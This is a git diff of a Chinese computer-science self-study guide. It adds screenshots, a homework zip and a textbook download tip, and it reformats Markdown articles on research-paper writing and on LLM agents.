-[CS自学指南](https://csdiy.wiki/) +[CS 自学指南](https://csdiy.wiki/) [MIT-Missing-Semester](https://missing.csail.mit.edu/2020/) [Introductory C Programming](https://www.coursera.org/specializations/c-programming) -[一生一芯nemu](https://ysyx.oscc.cc/) +[一生一芯 nemu](https://ysyx.oscc.cc/) -[jyy的OS课程](https://jyywiki.cn/) +[jyy 的 OS 课程](https://jyywiki.cn/) -[迷宫game](https://github.com/helderman/htpataic) +[迷宫 game](https://github.com/helderman/htpataic) [GDB User Manual](https://www.sourceware.org/gdb/) @@ -49,4 +52,6 @@ python内容完成后,基本学习到如何使用python当一门工具使用 Book:教材替换用书——《C Primer Plus》 - +::: tip 📥 +《C Primer Plus》(第六版中文版)(216MB)附件下载 +::: diff --git a/3.编程思维体系构建/code/HW 01.zip b/3.编程思维体系构建/code/HW 01.zip new file mode 100644 index 0000000..c6e5f11 Binary files /dev/null and b/3.编程思维体系构建/code/HW 01.zip differ diff --git a/3.编程思维体系构建/static/call_expression.png b/3.编程思维体系构建/static/call_expression.png new file mode 100644 index 0000000..cfdd487 Binary files /dev/null and b/3.编程思维体系构建/static/call_expression.png differ diff --git a/3.编程思维体系构建/static/debian-kde-source.png b/3.编程思维体系构建/static/debian-kde-source.png new file mode 100644 index 0000000..c1048cc Binary files /dev/null and b/3.编程思维体系构建/static/debian-kde-source.png differ diff --git a/3.编程思维体系构建/static/debian-live-1.png b/3.编程思维体系构建/static/debian-live-1.png new file mode 100644 index 0000000..9cefb7a Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-1.png differ diff --git a/3.编程思维体系构建/static/debian-live-10.png b/3.编程思维体系构建/static/debian-live-10.png new file mode 100644 index 0000000..3ebf293 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-10.png differ diff --git a/3.编程思维体系构建/static/debian-live-11.png b/3.编程思维体系构建/static/debian-live-11.png new file mode 100644 index 0000000..9a750d3 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-11.png differ diff --git a/3.编程思维体系构建/static/debian-live-12.png b/3.编程思维体系构建/static/debian-live-12.png new file mode 100644 index 0000000..90b5ba5 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-12.png differ diff --git a/3.编程思维体系构建/static/debian-live-13.png b/3.编程思维体系构建/static/debian-live-13.png new file mode 100644 index 0000000..49c28be Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-13.png differ diff --git a/3.编程思维体系构建/static/debian-live-14.png b/3.编程思维体系构建/static/debian-live-14.png new file mode 100644 index 0000000..6d14d02 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-14.png differ diff --git a/3.编程思维体系构建/static/debian-live-15.png b/3.编程思维体系构建/static/debian-live-15.png new file mode 100644 index 0000000..a292524 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-15.png differ diff --git a/3.编程思维体系构建/static/debian-live-16.png b/3.编程思维体系构建/static/debian-live-16.png new file mode 100644 index 0000000..59d767f Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-16.png differ diff --git a/3.编程思维体系构建/static/debian-live-17.png b/3.编程思维体系构建/static/debian-live-17.png new file mode 100644 index 0000000..f385910 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-17.png differ diff --git a/3.编程思维体系构建/static/debian-live-18.png b/3.编程思维体系构建/static/debian-live-18.png new file mode 100644 index 0000000..bf7face Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-18.png differ diff --git a/3.编程思维体系构建/static/debian-live-19.png b/3.编程思维体系构建/static/debian-live-19.png new file mode 100644 index 0000000..b79faee Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-19.png differ diff --git a/3.编程思维体系构建/static/debian-live-2.png b/3.编程思维体系构建/static/debian-live-2.png new file mode 100644 index 0000000..bf067e9 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-2.png differ diff --git a/3.编程思维体系构建/static/debian-live-20.png b/3.编程思维体系构建/static/debian-live-20.png new file mode 100644 index 0000000..11f7aae Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-20.png differ diff --git a/3.编程思维体系构建/static/debian-live-21.png b/3.编程思维体系构建/static/debian-live-21.png new file mode 100644 index 0000000..0b6e46c Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-21.png differ diff --git a/3.编程思维体系构建/static/debian-live-22.png b/3.编程思维体系构建/static/debian-live-22.png new file mode 100644 index 0000000..646c321 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-22.png differ diff --git a/3.编程思维体系构建/static/debian-live-23.png b/3.编程思维体系构建/static/debian-live-23.png new file mode 100644 index 0000000..9695959 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-23.png differ diff --git a/3.编程思维体系构建/static/debian-live-24.png b/3.编程思维体系构建/static/debian-live-24.png new file mode 100644 index 0000000..3e6197c Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-24.png differ diff --git a/3.编程思维体系构建/static/debian-live-25.png b/3.编程思维体系构建/static/debian-live-25.png new file mode 100644 index 0000000..47b35cc Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-25.png differ diff --git a/3.编程思维体系构建/static/debian-live-26.png b/3.编程思维体系构建/static/debian-live-26.png new file mode 100644 index 0000000..9fe0b39 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-26.png differ diff --git a/3.编程思维体系构建/static/debian-live-27.png b/3.编程思维体系构建/static/debian-live-27.png new file mode 100644 index 0000000..3e0799d Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-27.png differ diff --git a/3.编程思维体系构建/static/debian-live-3.png b/3.编程思维体系构建/static/debian-live-3.png new file mode 100644 index 0000000..5ce92d8 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-3.png differ diff --git a/3.编程思维体系构建/static/debian-live-4.png b/3.编程思维体系构建/static/debian-live-4.png new file mode 100644 index 0000000..c914577 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-4.png differ diff --git a/3.编程思维体系构建/static/debian-live-5.png b/3.编程思维体系构建/static/debian-live-5.png new file mode 100644 index 0000000..9bb1cfd Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-5.png differ diff --git a/3.编程思维体系构建/static/debian-live-6.png b/3.编程思维体系构建/static/debian-live-6.png new file mode 100644 index 0000000..baa8b08 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-6.png differ diff --git a/3.编程思维体系构建/static/debian-live-7.png b/3.编程思维体系构建/static/debian-live-7.png new file mode 100644 index 0000000..04bbf45 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-7.png differ diff --git a/3.编程思维体系构建/static/debian-live-8.png b/3.编程思维体系构建/static/debian-live-8.png new file mode 100644 index 0000000..1f769fd Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-8.png differ diff --git a/3.编程思维体系构建/static/debian-live-9.png b/3.编程思维体系构建/static/debian-live-9.png new file mode 100644 index 0000000..351b7e4 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-9.png differ diff --git a/3.编程思维体系构建/static/debian-live-alongside.png b/3.编程思维体系构建/static/debian-live-alongside.png new file mode 100644 index 0000000..4f17e6c Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-alongside.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome1.png b/3.编程思维体系构建/static/debian-live-gnome1.png new file mode 100644 index 0000000..33da085 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome1.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome10.png b/3.编程思维体系构建/static/debian-live-gnome10.png new file mode 100644 index 0000000..bf6fa2d Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome10.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome2.png b/3.编程思维体系构建/static/debian-live-gnome2.png new file mode 100644 index 0000000..548fa4b Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome2.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome3.png b/3.编程思维体系构建/static/debian-live-gnome3.png new file mode 100644 index 0000000..a57450f Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome3.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome4.png b/3.编程思维体系构建/static/debian-live-gnome4.png new file mode 100644 index 0000000..49bbe43 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome4.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome5.png b/3.编程思维体系构建/static/debian-live-gnome5.png new file mode 100644 index 0000000..ae23a13 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome5.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome6.png b/3.编程思维体系构建/static/debian-live-gnome6.png new file mode 100644 index 0000000..1cb6254 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome6.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome7.png b/3.编程思维体系构建/static/debian-live-gnome7.png new file mode 100644 index 0000000..65060a6 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome7.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome8.png b/3.编程思维体系构建/static/debian-live-gnome8.png new file mode 100644 index 0000000..27b53a5 Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome8.png differ diff --git a/3.编程思维体系构建/static/debian-live-gnome9.png b/3.编程思维体系构建/static/debian-live-gnome9.png new file mode 100644 index 0000000..d7f08fc Binary files /dev/null and b/3.编程思维体系构建/static/debian-live-gnome9.png differ diff --git a/3.编程思维体系构建/static/expression_tree.png b/3.编程思维体系构建/static/expression_tree.png new file mode 100644 index 0000000..0da9aca Binary files /dev/null and b/3.编程思维体系构建/static/expression_tree.png differ diff --git a/3.编程思维体系构建/static/function_abs.png b/3.编程思维体系构建/static/function_abs.png new file mode 100644 index 0000000..ab459aa Binary files /dev/null and b/3.编程思维体系构建/static/function_abs.png differ diff --git a/3.编程思维体系构建/static/function_print.png b/3.编程思维体系构建/static/function_print.png new file mode 100644 index 0000000..b75e447 Binary files /dev/null and b/3.编程思维体系构建/static/function_print.png differ diff --git a/3.编程思维体系构建/static/image_14.png b/3.编程思维体系构建/static/image_14.png new file mode 100644 index 0000000..492c319 Binary files /dev/null and b/3.编程思维体系构建/static/image_14.png differ diff --git a/3.编程思维体系构建/static/image_15.png b/3.编程思维体系构建/static/image_15.png new file mode 100644 index 0000000..b55db18 Binary files /dev/null and b/3.编程思维体系构建/static/image_15.png differ diff --git a/3.编程思维体系构建/static/image_32.png b/3.编程思维体系构建/static/image_32.png new file mode 100644 index 0000000..79fccf3 Binary files /dev/null and b/3.编程思维体系构建/static/image_32.png differ diff --git a/3.编程思维体系构建/static/image_33.png b/3.编程思维体系构建/static/image_33.png new file mode 100644 index 0000000..ca8489e Binary files /dev/null and b/3.编程思维体系构建/static/image_33.png differ diff --git a/3.编程思维体系构建/static/image_34.png b/3.编程思维体系构建/static/image_34.png new file mode 100644 index 0000000..00d0faf Binary files /dev/null and b/3.编程思维体系构建/static/image_34.png differ diff --git a/3.编程思维体系构建/static/image_35.png b/3.编程思维体系构建/static/image_35.png new file mode 100644 index 0000000..97d820c Binary files /dev/null and b/3.编程思维体系构建/static/image_35.png differ diff --git a/3.编程思维体系构建/static/image_36.png b/3.编程思维体系构建/static/image_36.png new file mode 100644 index 0000000..1d04a62 Binary files /dev/null and b/3.编程思维体系构建/static/image_36.png differ diff --git a/3.编程思维体系构建/static/image_37.png b/3.编程思维体系构建/static/image_37.png new file mode 100644 index 0000000..97d3f5d Binary files /dev/null and b/3.编程思维体系构建/static/image_37.png differ diff --git a/3.编程思维体系构建/static/image_38.png b/3.编程思维体系构建/static/image_38.png new file mode 100644 index 0000000..3577aeb Binary files /dev/null and b/3.编程思维体系构建/static/image_38.png differ diff --git a/3.编程思维体系构建/static/image_39.png b/3.编程思维体系构建/static/image_39.png new file mode 100644 index 0000000..08fd106 Binary files /dev/null and b/3.编程思维体系构建/static/image_39.png differ diff --git a/3.编程思维体系构建/static/image_40.png b/3.编程思维体系构建/static/image_40.png new file mode 100644 index 0000000..19007f7 Binary files /dev/null and b/3.编程思维体系构建/static/image_40.png differ diff --git a/3.编程思维体系构建/static/manjaro-1.png b/3.编程思维体系构建/static/manjaro-1.png new file mode 100644 index 0000000..aac0244 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-1.png differ diff --git a/3.编程思维体系构建/static/manjaro-2.png b/3.编程思维体系构建/static/manjaro-2.png new file mode 100644 index 0000000..6640546 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-2.png differ diff --git a/3.编程思维体系构建/static/manjaro-3.png b/3.编程思维体系构建/static/manjaro-3.png new file mode 100644 index 0000000..31de019 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-3.png differ diff --git a/3.编程思维体系构建/static/manjaro-4.png b/3.编程思维体系构建/static/manjaro-4.png new file mode 100644 index 0000000..628c424 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-4.png differ diff --git a/3.编程思维体系构建/static/manjaro-5.png b/3.编程思维体系构建/static/manjaro-5.png new file mode 100644 index 0000000..3d3bd4a Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-5.png differ diff --git a/3.编程思维体系构建/static/manjaro-6.png b/3.编程思维体系构建/static/manjaro-6.png new file mode 100644 index 0000000..65b4d92 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-6.png differ diff --git a/3.编程思维体系构建/static/manjaro-7.png b/3.编程思维体系构建/static/manjaro-7.png new file mode 100644 index 0000000..6bc2dee Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-7.png differ diff --git a/3.编程思维体系构建/static/manjaro-8.png b/3.编程思维体系构建/static/manjaro-8.png new file mode 100644 index 0000000..4e7de86 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-8.png differ diff --git a/3.编程思维体系构建/static/manjaro-9.png b/3.编程思维体系构建/static/manjaro-9.png new file mode 100644 index 0000000..f398f68 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-9.png differ diff --git a/3.编程思维体系构建/static/manjaro-install-alongside.png b/3.编程思维体系构建/static/manjaro-install-alongside.png new file mode 100644 index 0000000..3a19594 Binary files /dev/null and b/3.编程思维体系构建/static/manjaro-install-alongside.png differ diff --git a/3.编程思维体系构建/static/mint-install-1.png b/3.编程思维体系构建/static/mint-install-1.png new file mode 100644 index 0000000..69c605c Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-1.png differ diff --git a/3.编程思维体系构建/static/mint-install-10.png b/3.编程思维体系构建/static/mint-install-10.png new file mode 100644 index 0000000..e1736d8 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-10.png differ diff --git a/3.编程思维体系构建/static/mint-install-11.png b/3.编程思维体系构建/static/mint-install-11.png new file mode 100644 index 0000000..754ad94 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-11.png differ diff --git a/3.编程思维体系构建/static/mint-install-12.png b/3.编程思维体系构建/static/mint-install-12.png new file mode 100644 index 0000000..e99a654 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-12.png differ diff --git a/3.编程思维体系构建/static/mint-install-13.png b/3.编程思维体系构建/static/mint-install-13.png new file mode 100644 index 0000000..2ca8233 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-13.png differ diff --git a/3.编程思维体系构建/static/mint-install-14.png b/3.编程思维体系构建/static/mint-install-14.png new file mode 100644 index 0000000..e334719 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-14.png differ diff --git a/3.编程思维体系构建/static/mint-install-15.png b/3.编程思维体系构建/static/mint-install-15.png new file mode 100644 index 0000000..0209583 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-15.png differ diff --git a/3.编程思维体系构建/static/mint-install-16.png b/3.编程思维体系构建/static/mint-install-16.png new file mode 100644 index 0000000..9a0098f Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-16.png differ diff --git a/3.编程思维体系构建/static/mint-install-17.png b/3.编程思维体系构建/static/mint-install-17.png new file mode 100644 index 0000000..7d39d54 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-17.png differ diff --git a/3.编程思维体系构建/static/mint-install-18.png b/3.编程思维体系构建/static/mint-install-18.png new file mode 100644 index 0000000..cb05979 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-18.png differ diff --git a/3.编程思维体系构建/static/mint-install-19.png b/3.编程思维体系构建/static/mint-install-19.png new file mode 100644 index 0000000..f3108bc Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-19.png differ diff --git a/3.编程思维体系构建/static/mint-install-2.png b/3.编程思维体系构建/static/mint-install-2.png new file mode 100644 index 0000000..b371df0 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-2.png differ diff --git a/3.编程思维体系构建/static/mint-install-20.png b/3.编程思维体系构建/static/mint-install-20.png new file mode 100644 index 0000000..9f32d8d Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-20.png differ diff --git a/3.编程思维体系构建/static/mint-install-21.png b/3.编程思维体系构建/static/mint-install-21.png new file mode 100644 index 0000000..563613c Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-21.png differ diff --git a/3.编程思维体系构建/static/mint-install-22.png b/3.编程思维体系构建/static/mint-install-22.png new file mode 100644 index 0000000..9ce5bdd Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-22.png differ diff --git a/3.编程思维体系构建/static/mint-install-23.png b/3.编程思维体系构建/static/mint-install-23.png new file mode 100644 index 0000000..6a89af5 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-23.png differ diff --git a/3.编程思维体系构建/static/mint-install-24.png b/3.编程思维体系构建/static/mint-install-24.png new file mode 100644 index 0000000..4c61cb1 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-24.png differ diff --git a/3.编程思维体系构建/static/mint-install-25.png b/3.编程思维体系构建/static/mint-install-25.png new file mode 100644 index 0000000..894cb7a Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-25.png differ diff --git a/3.编程思维体系构建/static/mint-install-26.png b/3.编程思维体系构建/static/mint-install-26.png new file mode 100644 index 0000000..9fea5b8 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-26.png differ diff --git a/3.编程思维体系构建/static/mint-install-27.png b/3.编程思维体系构建/static/mint-install-27.png new file mode 100644 index 0000000..bda4ed7 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-27.png differ diff --git a/3.编程思维体系构建/static/mint-install-28.png b/3.编程思维体系构建/static/mint-install-28.png new file mode 100644 index 0000000..3819df1 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-28.png differ diff --git a/3.编程思维体系构建/static/mint-install-29.png b/3.编程思维体系构建/static/mint-install-29.png new file mode 100644 index 0000000..d3e5912 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-29.png differ diff --git a/3.编程思维体系构建/static/mint-install-3.png b/3.编程思维体系构建/static/mint-install-3.png new file mode 100644 index 0000000..6b51b0e Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-3.png differ diff --git a/3.编程思维体系构建/static/mint-install-30.png b/3.编程思维体系构建/static/mint-install-30.png new file mode 100644 index 0000000..5c5f810 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-30.png differ diff --git a/3.编程思维体系构建/static/mint-install-31.png b/3.编程思维体系构建/static/mint-install-31.png new file mode 100644 index 0000000..5f62c01 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-31.png differ diff --git a/3.编程思维体系构建/static/mint-install-32.png b/3.编程思维体系构建/static/mint-install-32.png new file mode 100644 index 0000000..af6804f Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-32.png differ diff --git a/3.编程思维体系构建/static/mint-install-4.png b/3.编程思维体系构建/static/mint-install-4.png new file mode 100644 index 0000000..1042fb4 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-4.png differ diff --git a/3.编程思维体系构建/static/mint-install-5.png b/3.编程思维体系构建/static/mint-install-5.png new file mode 100644 index 0000000..1395f89 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-5.png differ diff --git a/3.编程思维体系构建/static/mint-install-6.png b/3.编程思维体系构建/static/mint-install-6.png new file mode 100644 index 0000000..8ba924e Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-6.png differ diff --git a/3.编程思维体系构建/static/mint-install-7.png b/3.编程思维体系构建/static/mint-install-7.png new file mode 100644 index 0000000..ad76778 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-7.png differ diff --git a/3.编程思维体系构建/static/mint-install-8.png b/3.编程思维体系构建/static/mint-install-8.png new file mode 100644 index 0000000..a6efcfb Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-8.png differ diff --git a/3.编程思维体系构建/static/mint-install-9.png b/3.编程思维体系构建/static/mint-install-9.png new file mode 100644 index 0000000..1262c12 Binary files /dev/null and b/3.编程思维体系构建/static/mint-install-9.png differ diff --git a/3.编程思维体系构建/static/mint-windows-size.png b/3.编程思维体系构建/static/mint-windows-size.png new file mode 100644 index 0000000..53d8a9d Binary files /dev/null and b/3.编程思维体系构建/static/mint-windows-size.png differ diff --git a/3.编程思维体系构建/static/ok01.jpg b/3.编程思维体系构建/static/ok01.jpg new file mode 100644 index 0000000..5b0d2f3 Binary files /dev/null and b/3.编程思维体系构建/static/ok01.jpg differ diff --git a/3.编程思维体系构建/static/ok02.png b/3.编程思维体系构建/static/ok02.png new file mode 100644 index 0000000..6939594 Binary files /dev/null and b/3.编程思维体系构建/static/ok02.png differ diff --git a/3.编程思维体系构建/static/sources.png b/3.编程思维体系构建/static/sources.png new file mode 100644 index 0000000..167a452 Binary files /dev/null and b/3.编程思维体系构建/static/sources.png differ diff --git a/3.编程思维体系构建/static/ubuntu-ppa.png b/3.编程思维体系构建/static/ubuntu-ppa.png new file mode 100644 index 0000000..e49542f Binary files /dev/null and b/3.编程思维体系构建/static/ubuntu-ppa.png differ diff --git a/3.编程思维体系构建/static/uos-3.png b/3.编程思维体系构建/static/uos-3.png new file mode 100644 index 0000000..415decf Binary files /dev/null and b/3.编程思维体系构建/static/uos-3.png differ diff --git a/3.编程思维体系构建/static/uos-4.png b/3.编程思维体系构建/static/uos-4.png new file mode 100644 index 0000000..984e97a Binary files /dev/null and b/3.编程思维体系构建/static/uos-4.png differ diff --git a/3.编程思维体系构建/static/uos-troll.png b/3.编程思维体系构建/static/uos-troll.png new file mode 100644 index 0000000..3f84071 Binary files /dev/null and b/3.编程思维体系构建/static/uos-troll.png differ diff --git a/3.编程思维体系构建/static/windows-single-user.jpeg b/3.编程思维体系构建/static/windows-single-user.jpeg new file mode 100644 index 0000000..9af0d8e Binary files /dev/null and b/3.编程思维体系构建/static/windows-single-user.jpeg differ diff --git a/4.人工智能/4.10科研论文写作.md b/4.人工智能/4.10科研论文写作.md index b12e9db..23c424f 100644 --- a/4.人工智能/4.10科研论文写作.md +++ b/4.人工智能/4.10科研论文写作.md @@ -12,13 +12,13 @@ 我分为两大块:先想清楚你干了什么,在训练好你表达的规范性 -大白话 -》提取后的逻辑链条 -》科研写作 -》英文翻译 +大白话 -> 提取后的逻辑链条 -> 科研写作 -> 英文翻译 -干了什么: +**干了什么:** 1. 如果没有想清楚要做的是什么,要写什么,可以先用大白话,在草稿上写,有利于理清思路,抽丝剥茧 - 失败案例:一上来直接英文【】‘’写作,一会 we want ,一会 80 个词语的长难句,思路英语都不清晰 + 失败案例:一上来直接英文[ ] ' '写作,一会 we want,一会 80 个词语的长难句,思路英语都不清晰 2. 先列出 Outline 每一个科研 section 你打算做什么,尝试去回答问题 @@ -33,9 +33,11 @@ 1: How do we verify that we solved it: - 1a) Experimental results1b) + 1a) Experimental results - TheoryExtra space? Future work!Extra points for havingFigure 1 + 1b) Theory Extra space? Future work! + + Extra points for having Figure 1 on the first page @@ -43,7 +45,7 @@ 之所以要用大白话是因为基础的不足,如果有一定功底的人,可能先天写出来文字自带规范性,所以仅供大家参考) -表达规范性: +**表达规范性:** 此处的方法论为一句话,则是从模仿到超越的浑然天成。 @@ -51,7 +53,6 @@ 2. 迭代式写作,尝试多次更改写作的内容,优秀的作品都是改出来的,在把一部分的意思表达清晰知识 - 上述内容是写作的怎么去写,而下面则是内容层面,什么样的文章算是一篇好的文章 ::: warning 📌 @@ -59,6 +60,6 @@ C 会文章与 A 会文章的区别认知: (1).C 是对于相关工作一个是罗列,A 是整理相关工作的脉络和方法类别,以及方法缺陷。 - (2).对于设计的方法,C会只是说明我们比另外几个模型好,并不能从原理层面深入分析为什么比别人好,而A会则是能够说明每一部设计对模型的增量效果,以及为什么要做这一步。 + (2).对于设计的方法,C 会只是说明我们比另外几个模型好,并不能从原理层面深入分析为什么比别人好,而 A 会则是能够说明每一部设计对模型的增量效果,以及为什么要做这一步。 -::: \ No newline at end of file +::: diff --git a/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md b/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md index 8e0576c..4caf991 100644 --- a/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md +++ b/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md @@ -2,20 +2,20 @@ author:廖总 -Last revised 2023/04/18 +*Last revised 2023/04/18* 先声夺人:AI 时代最大的陷阱,就是盲目考察 AI 能为我们做什么,而不去考虑我们能为 AI 提供什么 -### 免责声明 +## *免责声明* 本文纯文本量达 16k(我也不知道字数统计的 28k 是怎么来的),在这 游离散乱的主线 和 支离破碎的文字 中挣扎,可能浪费您生命中宝贵的十数分钟。 -但如果您坚持尝试阅读,可能看到如下内容(假设没在其中绕晕的话 ): +但如果您坚持尝试阅读,可能看到如下内容(假设没在其中绕晕的话): - 对大语言模型本质 以及 AI 时代人们生产创作本位 的讨论 - 对大语言模型 上下文学习(In-Context Learning,ICL)和 思维链(Chain of Thought,COT)能力的几种通识性认知 - 围绕 Prompt Decomposition 对使用大语言模型构建复杂应用的基础讨论 -- 对当前热门大模型 Agent 化框架(如 Generative Agents (即斯坦福 25 人小镇)、AutoGPT)其本质的讨论 +- 对当前热门大模型 Agent 化框架(如 Generative Agents(即斯坦福 25 人小镇)、AutoGPT)其本质的讨论 - 对使用大语言模型构建智能系统(基于全局工作空间意识理论)的初步讨论 - 对使用大语言模型构建符合当今生产需求的智能系统的方法论讨论 @@ -31,7 +31,7 @@ author:廖总 - LLMs 能力考察:讨论了大语言模型涌现的一系列基本能力,并讨论基于这些基本能力和工程化,大模型能做到哪一步 - Decomp 方法论:将大语言模型微分化使用的方法论,以此展开对大语言模型的新认知 - AI 作为智能系统:结合 Generative Agents、AutoGPT 两项工作讨论大语言模型本身的局限性,围绕人类认知模型的启发,讨论通过构建复杂系统使得 LLMs Agent 化的可能性 -- 予智能以信息:讨论基于 LLMs 构建能够充分帮助我们提升生产力的 AI 剩余的一切痛点。借以回到主题 —— 在 AI 时代,我们要打造什么样的生产和信息管理新范式 (有一说,还是空口无凭) +- 予智能以信息:讨论基于 LLMs 构建能够充分帮助我们提升生产力的 AI 剩余的一切痛点。借以回到主题 —— 在 AI 时代,我们要打造什么样的生产和信息管理新范式(有一说,还是空口无凭) 总体而言,本文包括对 LLM 领域近一个月的最新几项工作(TaskMatrix、HuggingGPT、Generative Agents、AutoGPT)的讨论,并基于此考察一个真正可用的 AI 会以什么样的形态出现在我们面前。 @@ -43,7 +43,7 @@ author:廖总 仅作展望。 -# 引言 +## 引言 在开启正式讨论之前,我们希望从两个角度分别对 AI 进行讨论,从而夹逼出我们 从 AI 到 智能系统 的主题 @@ -56,7 +56,7 @@ author:廖总 以前只知前边两句,现在才知精髓全在后者 -## 形而下者器:LLMs + DB 的使用样例 +### 形而下者器:LLMs + DB 的使用样例 (为了不让话题一开场就显得那么无聊,我们先来谈点有意思的例子) @@ -77,7 +77,7 @@ author:廖总 (后面会给出更多关联的讨论,这里就先不赘叙了) -## 形而上者道:对 LLM 既有智能能力及其局限性的讨论 +### 形而上者道:对 LLM 既有智能能力及其局限性的讨论 这一节中,想讨论一下人工智能与人类智能的碰撞() @@ -99,7 +99,7 @@ ChatGPT Plugins 在两篇论文两个角度的基础上,对 LLMs 的能力的 - 为 AI 提供接口,为 AI 拓展能力 - 建模自身问题,促进有效生成 -### 从人工智能到人类智能 +#### 从人工智能到人类智能 在上面的论断中,我们看似已经能将绝大多数智能能力出让予 AI 了,但我还想从另一角度对 AI 与人类的能力进行展开讨论: @@ -109,7 +109,7 @@ ChatGPT Plugins 在两篇论文两个角度的基础上,对 LLMs 的能力的 - “人工”智能:辅佐 AI 实现的智能 - 人类智能:于人类独一无二的东西 -### AI 智能的形态 +#### AI 智能的形态 大语言模型的原始目的是制造一个“压缩器”,设计者们希望他能有效地学习世界上所有信息,并对其进行通用的压缩。 @@ -120,11 +120,11 @@ ChatGPT Plugins 在两篇论文两个角度的基础上,对 LLMs 的能力的 > “人总是要死的,苏格拉底也是人,所以苏格拉底是要死的”
这是一个经典苏格拉底式的三段论,其中蕴含着人类对于演绎推理能力的智慧。
假设上面的样本是 LLM 既有学习的,而这时来了一个新的样本:
“人不吃饭会被饿死,我是人,所以我也是要恰饭的嘛”
